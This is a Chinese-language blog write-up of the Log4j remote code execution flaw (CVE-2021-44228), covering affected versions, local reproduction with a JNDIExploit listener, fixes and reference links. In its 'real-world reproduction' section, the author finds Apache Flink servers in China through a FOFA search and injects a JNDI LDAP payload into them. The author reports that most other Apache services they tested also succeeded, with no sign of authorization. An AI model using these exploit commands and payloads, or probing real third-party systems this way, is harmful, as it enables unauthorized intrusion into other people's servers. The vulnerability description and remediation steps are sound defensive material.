【CNVD-2021-95914/CVE-2021-44228】Apache Log4j RCE漏洞

漏洞描述

昨晚我正要去睡觉的时候，突然收到了好几个群消息，赶忙看了一下，发现是阿里云安全团队披露了一个Apache Log4j的0day，其实早在11月阿里云就已经向Apache官方提交了报告。

Apache Log4j2是一款优秀的Java日志框架。由于Apache Log4j2某些功能存在递归解析功能，攻击者可直接构造恶意请求，触发远程代码执行漏洞。漏洞利用无需特殊配置，经阿里云安全团队验证，Apache Struts2、Apache Solr、Apache Druid、Apache Flink等均受影响。

因为Log4j这个框架利用的过于广泛，此漏洞一出，各大厂商纷纷中枪，一时间安全圈陷入了RCE的腥风血雨中，估计好多人都是一夜未眠~~

漏洞影响版本

Apache Log4j 2.x <= 2.14.1
Apache Struts2
Apache Solr
Apache Druid
Apache Flink

漏洞等级

漏洞等级：10 | 严重

漏洞复现

本地复现

先设置本地端口的监听

java -jar JNDIExploit-1.2-SNAPSHOT.jar -i [ip]

用idea打开项目，替换自己的ip，build打包

打包完会出现一个out文件夹，在这里输入如下指令，弹计算器

java -Dcom.sun.jndi.ldap.object.trustURLCodebase=true -jar Log4j-rce.jar

实战复现

因为大部分Apache的服务都存在这个漏洞，我就先找了一个Apache Flink平台
fofa语句：

app="APACHE-flink" && country="CN"

找一下输入框，然后放上payload，用自己的dnslog地址

${jndi:ldap://xxxxxx.dnslog.cn}

查看dnslog平台

这个漏洞利用就是这么简单，后面我又测试了其他Apache服务，基本都成功了

骚操作

这个漏洞爆出来后，我的朋友圈就被刷屏了，在里面我还看到了一些挺有趣的骚操作，可以学习一下思路

漏洞修复

1.升级Apache Log4j2所有相关应用到最新的 log4j-2.15.0-rc2 版本
地址：https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc2
2.升级已知受影响的应用及组件，如srping-boot-strater-log4j2/Apache Solr/Apache Flink/Apache Druid

参考文章

https://github.com/Yihsiwei/Log4j-exp
https://github.com/feihong-cs/JNDIExploit
https://mp.weixin.qq.com/s/9f1cUsc1FPIhKkl1Xe1Qvw